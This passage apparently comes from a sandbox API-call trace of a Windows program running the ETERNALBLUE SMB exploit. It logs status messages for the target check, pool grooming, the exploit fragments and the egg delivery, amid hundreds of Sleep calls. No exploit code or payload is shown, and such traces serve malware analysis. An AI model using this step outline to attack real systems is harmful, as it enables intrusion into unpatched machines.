free (_Block=0xea2640) [0117.506] free (_Block=0xea2560) [0117.506] free (_Block=0xead250) [0117.506] CloseHandle (hObject=0x3c) returned 1 [0117.506] free (_Block=0xea13e8) [0117.506] free (_Block=0xea13c8) [0117.506] GetCurrentThreadId () returned 0x1090 [0117.506] CloseHandle (hObject=0x40) returned 1 [0117.506] free (_Block=0xea13f8) [0117.506] free (_Block=0xea24d8) [0117.506] free (_Block=0xea1340) [0117.506] free (_Block=0xea12b8) [0117.506] free (_Block=0xea11a8) [0117.506] free (_Block=0xea1120) [0117.507] free (_Block=0xea1098) [0117.507] free (_Block=0xea1010) [0117.507] free (_Block=0xea0f88) Thread: id = 527 os_tid = 0x1110 [0096.147] malloc (_Size=0x400) returned 0xeaf158 [0096.147] Sleep (dwMilliseconds=0xa) [0096.174] vfprintf (in: _File=0x76be2920, _Format="[*] Connecting to target for exploitation.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 43 [0096.208] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.208] vfprintf (in: _File=0x76be2920, _Format=" [+] Connection established for exploitation.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 49 [0096.213] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.213] vfprintf (in: _File=0x76be2920, _Format="[*] Pinging backdoor...\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 24 [0096.266] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.266] vfprintf (in: _File=0x76be2920, _Format=" [+] Backdoor not installed, game on.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 41 [0096.267] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.267] vfprintf (in: _File=0x76be2920, _Format="[*] Target OS selected valid for OS indicated by SMB reply\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 59 [0096.267] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.267] free (_Block=0xda2760) [0096.267] fprintf (in: _File=0x76be2920, _Format="%s (%u bytes):\n" | out: _File=0x76be2920) returned 37 [0096.268] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="0x%08x" | out: _Dest="0x00000000") returned 10 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="57") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="69") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="6e") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="64") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="6f") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="77") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="73") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="20") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="37") returned 2 [0096.268] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="20") returned 2 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="50") returned 2 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="72") returned 2 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="6f") returned 2 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="66") returned 2 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="65") returned 2 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="73") returned 2 [0096.269] fprintf (in: _File=0x76be2920, _Format="%s\n" | out: _File=0x76be2920) returned 78 [0096.269] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="0x%08x" | out: _Dest="0x00000010") returned 10 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="73") returned 2 [0096.269] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="69") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="6f") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="6e") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="61") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="6c") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="20") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="37") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="36") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="30") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="31") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="20") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="53") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="65") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="72") returned 2 [0096.270] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="76") returned 2 [0096.270] fprintf (in: _File=0x76be2920, _Format="%s\n" | out: _File=0x76be2920) returned 78 [0096.271] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="0x%08x" | out: _Dest="0x00000020") returned 10 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="69") returned 2 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="63") returned 2 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="65") returned 2 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="20") returned 2 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="50") returned 2 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="61") returned 2 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="63") returned 2 [0096.271] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="6b") returned 2 [0096.272] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="20") returned 2 [0096.272] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="31") returned 2 [0096.272] sprintf (in: _Dest=0x205fa10, _Format="%02x" | out: _Dest="00") returned 2 [0096.272] fprintf (in: _File=0x76be2920, _Format="%s\n" | out: _File=0x76be2920) returned 73 [0096.272] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.272] vfprintf (in: _File=0x76be2920, _Format="[*] Building exploit buffer\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 28 [0096.273] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.273] vfprintf (in: _File=0x76be2920, _Format="[*] Sending all but last fragment of exploit packet\n ", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 56 [0096.273] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.273] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.274] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.274] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.274] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.274] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.275] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.275] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.275] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.275] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.276] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.276] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.276] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.276] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.276] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.277] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.277] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.277] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.277] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.277] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.278] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.278] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.278] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.278] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.279] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.279] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.279] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.279] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.280] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.280] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.280] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.280] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.281] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.281] vfprintf (in: _File=0x76be2920, _Format="DONE.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 6 [0096.281] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.281] vfprintf (in: _File=0x76be2920, _Format="[*] Sending SMB Echo request\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 29 [0096.282] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.282] vfprintf (in: _File=0x76be2920, _Format="[*] Good reply from SMB Echo request\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 37 [0096.282] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.282] vfprintf (in: _File=0x76be2920, _Format="[*] Starting non-paged pool grooming\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 37 [0096.282] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.283] vfprintf (in: _File=0x76be2920, _Format=" [+] Sending SMBv2 buffers\n ", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 38 [0096.283] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.283] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.283] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.283] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.284] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.284] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.284] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.284] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.285] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.285] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.285] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.285] vfprintf (in: _File=0x76be2920, _Format=".", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 1 [0096.286] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0096.286] Sleep (dwMilliseconds=0xa) [0096.288] Sleep (dwMilliseconds=0xa) [0096.303] Sleep (dwMilliseconds=0xa) [0096.319] Sleep (dwMilliseconds=0xa) [0096.335] Sleep (dwMilliseconds=0xa) [0096.350] Sleep (dwMilliseconds=0xa) [0096.369] Sleep (dwMilliseconds=0xa) [0096.381] Sleep (dwMilliseconds=0xa) [0096.402] Sleep (dwMilliseconds=0xa) [0096.413] Sleep (dwMilliseconds=0xa) [0096.428] Sleep (dwMilliseconds=0xa) [0096.444] Sleep (dwMilliseconds=0xa) [0096.459] Sleep (dwMilliseconds=0xa) [0096.475] Sleep (dwMilliseconds=0xa) [0096.539] Sleep (dwMilliseconds=0xa) [0096.553] Sleep (dwMilliseconds=0xa) [0096.569] Sleep (dwMilliseconds=0xa) [0096.585] Sleep (dwMilliseconds=0xa) [0096.602] Sleep (dwMilliseconds=0xa) [0096.615] Sleep (dwMilliseconds=0xa) [0096.631] Sleep (dwMilliseconds=0xa) [0096.647] Sleep (dwMilliseconds=0xa) [0096.663] Sleep (dwMilliseconds=0xa) [0096.679] Sleep (dwMilliseconds=0xa) [0096.695] Sleep (dwMilliseconds=0xa) [0096.709] Sleep (dwMilliseconds=0xa) [0096.725] Sleep (dwMilliseconds=0xa) [0096.740] Sleep (dwMilliseconds=0xa) [0096.840] Sleep (dwMilliseconds=0xa) [0096.849] Sleep (dwMilliseconds=0xa) [0096.865] Sleep (dwMilliseconds=0xa) [0096.883] Sleep (dwMilliseconds=0xa) [0097.034] Sleep (dwMilliseconds=0xa) [0097.037] Sleep (dwMilliseconds=0xa) [0097.052] Sleep (dwMilliseconds=0xa) [0097.068] Sleep (dwMilliseconds=0xa) [0097.083] Sleep (dwMilliseconds=0xa) [0097.101] Sleep (dwMilliseconds=0xa) [0097.115] Sleep (dwMilliseconds=0xa) [0097.130] Sleep (dwMilliseconds=0xa) [0097.146] Sleep (dwMilliseconds=0xa) [0097.161] Sleep (dwMilliseconds=0xa) [0097.177] Sleep (dwMilliseconds=0xa) [0097.193] Sleep (dwMilliseconds=0xa) [0097.209] Sleep (dwMilliseconds=0xa) [0097.224] Sleep (dwMilliseconds=0xa) [0097.239] Sleep (dwMilliseconds=0xa) [0097.255] Sleep (dwMilliseconds=0xa) [0097.271] Sleep (dwMilliseconds=0xa) [0097.286] Sleep (dwMilliseconds=0xa) [0097.302] Sleep (dwMilliseconds=0xa) [0097.317] Sleep (dwMilliseconds=0xa) [0097.333] Sleep (dwMilliseconds=0xa) [0097.349] Sleep (dwMilliseconds=0xa) [0097.365] Sleep (dwMilliseconds=0xa) [0097.463] Sleep (dwMilliseconds=0xa) [0097.476] Sleep (dwMilliseconds=0xa) [0097.489] Sleep (dwMilliseconds=0xa) [0097.505] Sleep (dwMilliseconds=0xa) [0097.520] Sleep (dwMilliseconds=0xa) [0097.536] Sleep (dwMilliseconds=0xa) [0097.551] Sleep (dwMilliseconds=0xa) [0097.573] vfprintf (in: _File=0x76be2920, _Format="DONE.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 6 [0097.573] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.574] vfprintf (in: _File=0x76be2920, _Format=" [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 78 [0097.574] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.574] vfprintf (in: _File=0x76be2920, _Format="[*] Sending SMB Echo request\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 29 [0097.574] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.574] vfprintf (in: _File=0x76be2920, _Format="[*] Good reply from SMB Echo request\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 37 [0097.575] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.575] vfprintf (in: _File=0x76be2920, _Format="[*] Sending last fragment of exploit packet!\n ", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 49 [0097.575] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.575] vfprintf (in: _File=0x76be2920, _Format="DONE.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 6 [0097.576] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.576] vfprintf (in: _File=0x76be2920, _Format="[*] Receiving response from exploit packet\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 43 [0097.576] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.576] vfprintf (in: _File=0x76be2920, _Format=" [+] ETERNALBLUE overwrite completed successfully (0x%08X)!\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 67 [0097.577] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.577] vfprintf (in: _File=0x76be2920, _Format="[*] Sending egg to corrupted connection.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 41 [0097.578] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.578] vfprintf (in: _File=0x76be2920, _Format="[*] Triggering free of corrupted buffer.\n", _ArgList=0x205fa2c | out: _File=0x76be2920) returned 41 [0097.579] fflush (in: _File=0x76be2920 | out: _File=0x76be2920) returned 0 [0097.579] Sleep (dwMilliseconds=0xa) [0097.585] Sleep (dwMilliseconds=0xa) [0097.598] Sleep (dwMilliseconds=0xa) [0097.614] Sleep (dwMilliseconds=0xa) [0097.629] Sleep (dwMilliseconds=0xa) [0097.645] Sleep (dwMilliseconds=0xa) [0097.661] Sleep (dwMilliseconds=0xa) [0097.678] Sleep (dwMilliseconds=0xa) [0097.692] Sleep (dwMilliseconds=0xa) [0097.707] Sleep (dwMilliseconds=0xa) [0097.723] Sleep (dwMilliseconds=0xa) [0097.739] Sleep (dwMilliseconds=0xa) [0097.754] Sleep (dwMilliseconds=0xa) [0097.832] Sleep (dwMilliseconds=0xa) [0097.848] Sleep (dwMilliseconds=0xa) [0097.863] Sleep (dwMilliseconds=0xa) [0097.881] Sleep (dwMilliseconds=0xa) [0097.920] Sleep (dwMilliseconds=0xa) [0097.928] Sleep (dwMilliseconds=0xa) [0097.941] Sleep (dwMilliseconds=0xa) [0097.957] Sleep (dwMilliseconds=0xa) [0097.973] Sleep (dwMilliseconds=0xa) [0097.989] Sleep (dwMilliseconds=0xa) [0098.004] Sleep (dwMilliseconds=0xa) [0098.019] Sleep (dwMilliseconds=0xa) [0098.035] Sleep (dwMilliseconds=0xa) [0098.051] Sleep (dwMilliseconds=0xa) [0098.067] Sleep (dwMilliseconds=0xa) [0098.082] Sleep (dwMilliseconds=0xa) [0098.100] Sleep (dwMilliseconds=0xa) [0098.113] Sleep (dwMilliseconds=0xa) [0098.129] Sleep (dwMilliseconds=0xa) [0098.145] Sleep (dwMilliseconds=0xa) [0098.160] Sleep (dwMilliseconds=0xa) [0098.175] Sleep (dwMilliseconds=0xa) [0098.201] Sleep (dwMilliseconds=0xa) [0098.207] Sleep (dwMilliseconds=0xa) [0098.222] Sleep (dwMilliseconds=0xa) [0098.238] Sleep (dwMilliseconds=0xa) [0098.265] Sleep (dwMilliseconds=0xa) [0098.369] Sleep (dwMilliseconds=0xa) [0098.454] Sleep (dwMilliseconds=0xa) [0098.526] Sleep (dwMilliseconds=0xa) [0098.568] Sleep (dwMilliseconds=0xa) [0098.639] Sleep (dwMilliseconds=0xa) [0098.697] Sleep (dwMilliseconds=0xa) [0098.741] Sleep (dwMilliseconds=0xa) [0098.906] Sleep (dwMilliseconds=0xa) [0098.986] Sleep (dwMilliseconds=0xa) [0099.038] Sleep (dwMilliseconds=0xa) [0099.096] Sleep (dwMilliseconds=0xa) [0099.423] Sleep (dwMilliseconds=0xa) [0099.473] Sleep (dwMilliseconds=0xa) [0099.520] Sleep (dwMilliseconds=0xa) [0099.632] Sleep (dwMilliseconds=0xa) [0099.679] Sleep (dwMilliseconds=0xa) [0099.723] Sleep (dwMilliseconds=0xa) [0099.774] Sleep (dwMilliseconds=0xa) [0099.842] Sleep (dwMilliseconds=0xa) [0099.895] Sleep (dwMilliseconds=0xa) [0100.044] Sleep (dwMilliseconds=0xa) [0100.096] Sleep (dwMilliseconds=0xa) [0100.146] Sleep (dwMilliseconds=0xa) [0100.190] Sleep (dwMilliseconds=0xa) [0100.268] Sleep (dwMilliseconds=0xa) [0100.315] Sleep (dwMilliseconds=0xa) [0100.369] Sleep (dwMilliseconds=0xa) [0100.408] Sleep (dwMilliseconds=0xa) [0100.472] Sleep (dwMilliseconds=0xa) [0100.519] Sleep (dwMilliseconds=0xa) [0100.567] Sleep (dwMilliseconds=0xa) [0100.611] Sleep (dwMilliseconds=0xa) [0100.678] Sleep (dwMilliseconds=0xa) [0100.720] Sleep (dwMilliseconds=0xa) [0100.768] Sleep (dwMilliseconds=0xa) [0100.818] Sleep (dwMilliseconds=0xa) [0100.937] Sleep (dwMilliseconds=0xa) [0100.999] Sleep (dwMilliseconds=0xa) [0101.066] Sleep (dwMilliseconds=0xa) [0101.123] Sleep (dwMilliseconds=0xa) [0101.159] Sleep (dwMilliseconds=0xa) [0101.208] Sleep (dwMilliseconds=0xa) [0101.263] Sleep (dwMilliseconds=0xa) [0101.301] Sleep (dwMilliseconds=0xa) [0101.349] Sleep (dwMilliseconds=0xa) [0101.442] Sleep (dwMilliseconds=0xa) [0101.501] Sleep (dwMilliseconds=0xa) [0101.785] Sleep (dwMilliseconds=0xa) [0101.884] Sleep (dwMilliseconds=0xa) [0102.172] Sleep (dwMilliseconds=0xa) [0102.239] Sleep (dwMilliseconds=0xa) [0102.289] Sleep (dwMilliseconds=0xa) [0102.350] Sleep (dwMilliseconds=0xa) [0102.411] Sleep (dwMilliseconds=0xa) [0102.465] Sleep (dwMilliseconds=0xa) [0102.515] Sleep (dwMilliseconds=0xa) [0102.610] Sleep (dwMilliseconds=0xa) [0102.665] Sleep (dwMilliseconds=0xa) [0102.717] Sleep (dwMilliseconds=0xa) [0102.894] Sleep (dwMilliseconds=0xa) [0103.436] Sleep (dwMilliseconds=0xa) [0103.494] Sleep (dwMilliseconds=0xa) [0103.587] Sleep (dwMilliseconds=0xa) [0103.934] Sleep (dwMilliseconds=0xa) [0104.011] Sleep (dwMilliseconds=0xa) [0104.060] Sleep (dwMilliseconds=0xa) [0104.119] Sleep (dwMilliseconds=0xa) [0104.170] Sleep (dwMilliseconds=0xa) [0104.215] Sleep (dwMilliseconds=0xa) [0104.316] Sleep (dwMilliseconds=0xa) [0104.372] Sleep (dwMilliseconds=0xa) [0104.637] Sleep (dwMilliseconds=0xa) [0104.772] Sleep (dwMilliseconds=0xa) [0104.809] Sleep (dwMilliseconds=0xa) [0104.867] Sleep (dwMilliseconds=0xa) [0104.927] Sleep (dwMilliseconds=0xa) [0104.971] Sleep (dwMilliseconds=0xa) [0105.048] Sleep (dwMilliseconds=0xa) [0105.090] Sleep (dwMilliseconds=0xa) [0105.133] Sleep (dwMilliseconds=0xa) [0105.182] Sleep (dwMilliseconds=0xa) [0105.227] Sleep (dwMilliseconds=0xa) [0105.278] Sleep (dwMilliseconds=0xa) [0105.331] Sleep (dwMilliseconds=0xa) [0105.375] Sleep (dwMilliseconds=0xa) [0105.419] Sleep (dwMilliseconds=0xa) [0105.477] Sleep (dwMilliseconds=0xa) [0105.524] Sleep (dwMilliseconds=0xa) [0105.573] Sleep (dwMilliseconds=0xa) [0105.617] Sleep (dwMilliseconds=0xa) [0105.675] Sleep (dwMilliseconds=0xa) [0105.711] Sleep (dwMilliseconds=0xa) [0105.761] Sleep (dwMilliseconds=0xa) [0105.804] Sleep (dwMilliseconds=0xa) [0105.852] Sleep (dwMilliseconds=0xa) [0105.897] Sleep (dwMilliseconds=0xa) [0105.948] Sleep (dwMilliseconds=0xa) [0105.991] Sleep (dwMilliseconds=0xa) [0106.039] Sleep (dwMilliseconds=0xa) [0106.085] Sleep (dwMilliseconds=0xa) [0106.119] Sleep (dwMilliseconds=0xa) [0106.165] Sleep (dwMilliseconds=0xa) [0106.211] Sleep (dwMilliseconds=0xa) [0106.262] Sleep (dwMilliseconds=0xa) [0106.302] Sleep (dwMilliseconds=0xa) [0106.334] Sleep (dwMilliseconds=0xa) [0106.383] Sleep (dwMilliseconds=0xa) [0106.428] Sleep (dwMilliseconds=0xa) [0106.476] Sleep (dwMilliseconds=0xa) [0106.508] Sleep (dwMilliseconds=0xa) [0106.554] Sleep (dwMilliseconds=0xa) [0106.599] Sleep (dwMilliseconds=0xa) [0106.675] Sleep (dwMilliseconds=0xa) [0106.727] Sleep (dwMilliseconds=0xa) [0106.804] Sleep (dwMilliseconds=0xa) [0107.204] Sleep (dwMilliseconds=0xa) [0107.752] Sleep (dwMilliseconds=0xa) [0107.962] Sleep (dwMilliseconds=0xa) [0108.009] Sleep (dwMilliseconds=0xa) [0108.055] Sleep (dwMilliseconds=0xa) [0108.127] Sleep (dwMilliseconds=0xa) [0108.191] Sleep (dwMilliseconds=0xa) [0108.243] Sleep (dwMilliseconds=0xa) [0108.288] Sleep (dwMilliseconds=0xa) [0108.332] Sleep (dwMilliseconds=0xa) [0108.404] Sleep (dwMilliseconds=0xa) [0108.446] Sleep (dwMilliseconds=0xa) [0108.503] Sleep (dwMilliseconds=0xa) [0108.552] Sleep (dwMilliseconds=0xa) [0108.609] Sleep (dwMilliseconds=0xa) [0108.646] Sleep (dwMilliseconds=0xa) [0108.721] Sleep (dwMilliseconds=0xa) [0108.783] Sleep (dwMilliseconds=0xa) [0108.821] Sleep (dwMilliseconds=0xa) [0108.879] Sleep (dwMilliseconds=0xa) [0108.931] Sleep (dwMilliseconds=0xa) [0108.997] Sleep (dwMilliseconds=0xa) [0109.038] Sleep (dwMilliseconds=0xa) [0109.080] Sleep (dwMilliseconds=0xa) [0109.130] Sleep (dwMilliseconds=0xa) [0109.174] Sleep (dwMilliseconds=0xa) [0109.222] Sleep (dwMilliseconds=0xa) [0109.268] Sleep (dwMilliseconds=0xa) [0109.316] Sleep (dwMilliseconds=0xa) [0109.408] Sleep (dwMilliseconds=0xa) [0109.456] Sleep (dwMilliseconds=0xa) [0109.501] Sleep (dwMilliseconds=0xa) [0109.549] Sleep (dwMilliseconds=0xa) [0109.595] Sleep (dwMilliseconds=0xa) [0109.643] Sleep (dwMilliseconds=0xa) [0109.688] Sleep (dwMilliseconds=0xa) [0109.752] Sleep (dwMilliseconds=0xa) [0109.800] Sleep (dwMilliseconds=0xa) [0109.845] Sleep (dwMilliseconds=0xa) [0109.892] Sleep (dwMilliseconds=0xa) [0109.938] Sleep (dwMilliseconds=0xa) [0109.988] Sleep (dwMilliseconds=0xa) [0110.032] Sleep (dwMilliseconds=0xa) [0110.081] Sleep (dwMilliseconds=0xa) [0110.151] Sleep (dwMilliseconds=0xa) [0110.228] Sleep (dwMilliseconds=0xa) [0110.285] Sleep (dwMilliseconds=0xa) [0110.345] Sleep (dwMilliseconds=0xa) [0110.454] Sleep (dwMilliseconds=0xa) [0110.514] Sleep (dwMilliseconds=0xa) [0110.547] Sleep (dwMilliseconds=0xa) [0110.596] Sleep (dwMilliseconds=0xa) [0110.642] Sleep (dwMilliseconds=0xa) [0110.688] Sleep (dwMilliseconds=0xa) [0110.736] Sleep (dwMilliseconds=0xa) [0110.807] Sleep (dwMilliseconds=0xa) [0110.844] Sleep (dwMilliseconds=0xa) [0110.890] Sleep (dwMilliseconds=0xa) [0110.939] Sleep (dwMilliseconds=0xa) [0110.985] Sleep (dwMilliseconds=0xa) [0111.031] Sleep (dwMilliseconds=0xa) [0111.068] Sleep (dwMilliseconds=0xa) [0111.109] Sleep (dwMilliseconds=0xa) [0111.155] Sleep (dwMilliseconds=0xa) [0111.205] Sleep (dwMilliseconds=0xa) [0111.253] Sleep (dwMilliseconds=0xa) [0111.307] Sleep (dwMilliseconds=0xa) [0111.343] Sleep (dwMilliseconds=0xa) [0111.407] Sleep (dwMilliseconds=0xa) [0111.452] Sleep (dwMilliseconds=0xa) [0111.499] Sleep (dwMilliseconds=0xa) [0111.545] Sleep (dwMilliseconds=0xa) [0111.595] Sleep (dwMilliseconds=0xa) [0111.638] Sleep (dwMilliseconds=0xa) [0111.687] Sleep (dwMilliseconds=0xa) [0111.727] Sleep (dwMilliseconds=0xa) [0111.770] Sleep (dwMilliseconds=0xa) [0111.810] Sleep (dwMilliseconds=0xa) [0111.866] Sleep (dwMilliseconds=0xa) [0111.903] Sleep (dwMilliseconds=0xa) [0111.951] Sleep (dwMilliseconds=0xa) [0111.997] Sleep 